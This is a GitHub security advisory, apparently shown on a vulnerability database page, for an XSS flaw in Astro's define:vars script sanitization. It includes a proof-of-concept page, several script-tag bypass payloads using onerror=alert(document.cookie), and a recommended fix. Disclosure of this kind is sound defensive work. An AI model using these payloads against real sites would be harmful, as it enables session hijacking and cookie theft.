GHSA-J687-52P2-XCFF
Vulnerability from github – Published: 2026-04-21 20:39 – Updated: 2026-04-27 16:43Summary
The defineScriptVars function in Astro's server-side rendering pipeline uses a case-sensitive regex /<\/script>/g to sanitize values injected into inline <script> tags via the define:vars directive. HTML parsers close <script> elements case-insensitively and also accept whitespace or / before the closing >, allowing an attacker to bypass the sanitization with payloads like </Script>, </script >, or </script/> and inject arbitrary HTML/JavaScript.
Details
The vulnerable function is defineScriptVars at packages/astro/src/runtime/server/render/util.ts:42-53:
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/<\/script>/g, // ← Case-sensitive, exact match only
'\\x3C/script>',
)};\n`;
}
return markHTMLString(output);
}
This function is called from renderElement at util.ts:172-174 when a <script> element has define:vars:
if (name === 'script') {
delete props.hoist;
children = defineScriptVars(defineVars) + '\n' + children;
}
The regex /<\/script>/g fails to match three classes of closing script tags that HTML parsers accept per the HTML specification §13.2.6.4:
- Case variations:
</Script>,</SCRIPT>,</sCrIpT>— HTML tag names are case-insensitive but the regex has noiflag. - Whitespace before
>:</script >,</script\t>,</script\n>— after the tag name, the HTML tokenizer enters the "before attribute name" state on ASCII whitespace. - Self-closing slash:
</script/>— the tokenizer enters "self-closing start tag" state on/.
JSON.stringify() does not escape <, >, or / characters, so all these payloads pass through serialization unchanged.
Execution flow: User-controlled input (e.g., Astro.url.searchParams) → assigned to a variable → passed via define:vars on a <script> tag → renderElement → defineScriptVars → incomplete sanitization → injected into <script> block in HTML response → browser closes the script element early → attacker-controlled HTML parsed and executed.
PoC
Step 1: Create an SSR Astro page (src/pages/index.astro):
---
const name = Astro.url.searchParams.get('name') || 'World';
---
<html>
<body>
<h1>Hello</h1>
<script define:vars={{ name }}>
console.log(name);
</script>
</body>
</html>
Step 2: Ensure SSR is enabled in astro.config.mjs:
export default defineConfig({
output: 'server'
});
Step 3: Start the dev server and visit:
http://localhost:4321/?name=</Script><img/src=x%20onerror=alert(document.cookie)>
Step 4: View the HTML source. The output contains:
<script>const name = "</Script><img/src=x onerror=alert(document.cookie)>";
console.log(name);
</script>
The browser's HTML parser matches </Script> case-insensitively, closing the script block. The <img onerror=alert(document.cookie)> is then parsed as HTML and the JavaScript in onerror executes.
Alternative bypass payloads:
/?name=</script ><img/src=x onerror=alert(1)>
/?name=</script/><img/src=x onerror=alert(1)>
/?name=</SCRIPT><img/src=x onerror=alert(1)>
Impact
An attacker can execute arbitrary JavaScript in the context of a victim's browser session on any SSR Astro application that passes request-derived data to define:vars on a <script> tag. This is a documented and expected usage pattern in Astro.
Exploitation enables:
- Session hijacking via cookie theft (document.cookie)
- Credential theft by injecting fake login forms or keyloggers
- Defacement of the rendered page
- Redirection to attacker-controlled domains
The vulnerability affects all Astro versions that support define:vars and is exploitable in any SSR deployment where user input reaches a define:vars script variable.
Recommended Fix
Replace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all < characters in the JSON output:
export function defineScriptVars(vars: Record<any, any>) {
let output = '';
for (const [key, value] of Object.entries(vars)) {
output += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(
/</g,
'\\u003c',
)};\n`;
}
return markHTMLString(output);
}
This is the standard approach used by frameworks like Next.js and Rails. Replacing every < with \u003c is safe inside JSON string contexts (JavaScript treats \u003c as < at runtime) and eliminates all possible </script> variants including case variations, whitespace, and self-closing forms.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "astro"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.1.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41067"
],
"database_specific": {
"cwe_ids": [
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-21T20:39:49Z",
"nvd_published_at": "2026-04-24T17:16:21Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nThe `defineScriptVars` function in Astro\u0027s server-side rendering pipeline uses a case-sensitive regex `/\u003c\\/script\u003e/g` to sanitize values injected into inline `\u003cscript\u003e` tags via the `define:vars` directive. HTML parsers close `\u003cscript\u003e` elements case-insensitively and also accept whitespace or `/` before the closing `\u003e`, allowing an attacker to bypass the sanitization with payloads like `\u003c/Script\u003e`, `\u003c/script \u003e`, or `\u003c/script/\u003e` and inject arbitrary HTML/JavaScript.\n\n## Details\n\nThe vulnerable function is `defineScriptVars` at `packages/astro/src/runtime/server/render/util.ts:42-53`:\n\n```typescript\nexport function defineScriptVars(vars: Record\u003cany, any\u003e) {\n\tlet output = \u0027\u0027;\n\tfor (const [key, value] of Object.entries(vars)) {\n\t\toutput += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(\n\t\t\t/\u003c\\/script\u003e/g, // \u2190 Case-sensitive, exact match only\n\t\t\t\u0027\\\\x3C/script\u003e\u0027,\n\t\t)};\\n`;\n\t}\n\treturn markHTMLString(output);\n}\n```\n\nThis function is called from `renderElement` at `util.ts:172-174` when a `\u003cscript\u003e` element has `define:vars`:\n\n```typescript\nif (name === \u0027script\u0027) {\n\tdelete props.hoist;\n\tchildren = defineScriptVars(defineVars) + \u0027\\n\u0027 + children;\n}\n```\n\nThe regex `/\u003c\\/script\u003e/g` fails to match three classes of closing script tags that HTML parsers accept per the [HTML specification \u00a713.2.6.4](https://html.spec.whatwg.org/multipage/parsing.html#parsing-main-inbody):\n\n1. **Case variations**: `\u003c/Script\u003e`, `\u003c/SCRIPT\u003e`, `\u003c/sCrIpT\u003e` \u2014 HTML tag names are case-insensitive but the regex has no `i` flag.\n2. **Whitespace before `\u003e`**: `\u003c/script \u003e`, `\u003c/script\\t\u003e`, `\u003c/script\\n\u003e` \u2014 after the tag name, the HTML tokenizer enters the \"before attribute name\" state on ASCII whitespace.\n3. **Self-closing slash**: `\u003c/script/\u003e` \u2014 the tokenizer enters \"self-closing start tag\" state on `/`.\n\n`JSON.stringify()` does not escape `\u003c`, `\u003e`, or `/` characters, so all these payloads pass through serialization unchanged.\n\n**Execution flow:** User-controlled input (e.g., `Astro.url.searchParams`) \u2192 assigned to a variable \u2192 passed via `define:vars` on a `\u003cscript\u003e` tag \u2192 `renderElement` \u2192 `defineScriptVars` \u2192 incomplete sanitization \u2192 injected into `\u003cscript\u003e` block in HTML response \u2192 browser closes the script element early \u2192 attacker-controlled HTML parsed and executed.\n\n## PoC\n\n**Step 1:** Create an SSR Astro page (`src/pages/index.astro`):\n\n```astro\n---\nconst name = Astro.url.searchParams.get(\u0027name\u0027) || \u0027World\u0027;\n---\n\u003chtml\u003e\n\u003cbody\u003e\n \u003ch1\u003eHello\u003c/h1\u003e\n \u003cscript define:vars={{ name }}\u003e\n console.log(name);\n \u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\n**Step 2:** Ensure SSR is enabled in `astro.config.mjs`:\n\n```js\nexport default defineConfig({\n output: \u0027server\u0027\n});\n```\n\n**Step 3:** Start the dev server and visit:\n\n```\nhttp://localhost:4321/?name=\u003c/Script\u003e\u003cimg/src=x%20onerror=alert(document.cookie)\u003e\n```\n\n**Step 4:** View the HTML source. The output contains:\n\n```html\n\u003cscript\u003econst name = \"\u003c/Script\u003e\u003cimg/src=x onerror=alert(document.cookie)\u003e\";\n console.log(name);\n\u003c/script\u003e\n```\n\nThe browser\u0027s HTML parser matches `\u003c/Script\u003e` case-insensitively, closing the script block. The `\u003cimg onerror=alert(document.cookie)\u003e` is then parsed as HTML and the JavaScript in `onerror` executes.\n\n**Alternative bypass payloads:**\n\n```\n/?name=\u003c/script \u003e\u003cimg/src=x onerror=alert(1)\u003e\n/?name=\u003c/script/\u003e\u003cimg/src=x onerror=alert(1)\u003e\n/?name=\u003c/SCRIPT\u003e\u003cimg/src=x onerror=alert(1)\u003e\n```\n\n## Impact\n\nAn attacker can execute arbitrary JavaScript in the context of a victim\u0027s browser session on any SSR Astro application that passes request-derived data to `define:vars` on a `\u003cscript\u003e` tag. This is a documented and expected usage pattern in Astro.\n\nExploitation enables:\n- **Session hijacking** via cookie theft (`document.cookie`)\n- **Credential theft** by injecting fake login forms or keyloggers\n- **Defacement** of the rendered page\n- **Redirection** to attacker-controlled domains\n\nThe vulnerability affects all Astro versions that support `define:vars` and is exploitable in any SSR deployment where user input reaches a `define:vars` script variable.\n\n## Recommended Fix\n\nReplace the case-sensitive exact-match regex with a comprehensive escape that covers all HTML parser edge cases. The simplest correct fix is to escape all `\u003c` characters in the JSON output:\n\n```typescript\nexport function defineScriptVars(vars: Record\u003cany, any\u003e) {\n\tlet output = \u0027\u0027;\n\tfor (const [key, value] of Object.entries(vars)) {\n\t\toutput += `const ${toIdent(key)} = ${JSON.stringify(value)?.replace(\n\t\t\t/\u003c/g,\n\t\t\t\u0027\\\\u003c\u0027,\n\t\t)};\\n`;\n\t}\n\treturn markHTMLString(output);\n}\n```\n\nThis is the standard approach used by frameworks like Next.js and Rails. Replacing every `\u003c` with `\\u003c` is safe inside JSON string contexts (JavaScript treats `\\u003c` as `\u003c` at runtime) and eliminates all possible `\u003c/script\u003e` variants including case variations, whitespace, and self-closing forms.",
"id": "GHSA-j687-52p2-xcff",
"modified": "2026-04-27T16:43:27Z",
"published": "2026-04-21T20:39:49Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/withastro/astro/security/advisories/GHSA-j687-52p2-xcff"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41067"
},
{
"type": "PACKAGE",
"url": "https://github.com/withastro/astro"
},
{
"type": "WEB",
"url": "https://github.com/withastro/astro/releases/tag/astro@6.1.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Astro: XSS in define:vars via incomplete \u003c/script\u003e tag sanitization"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.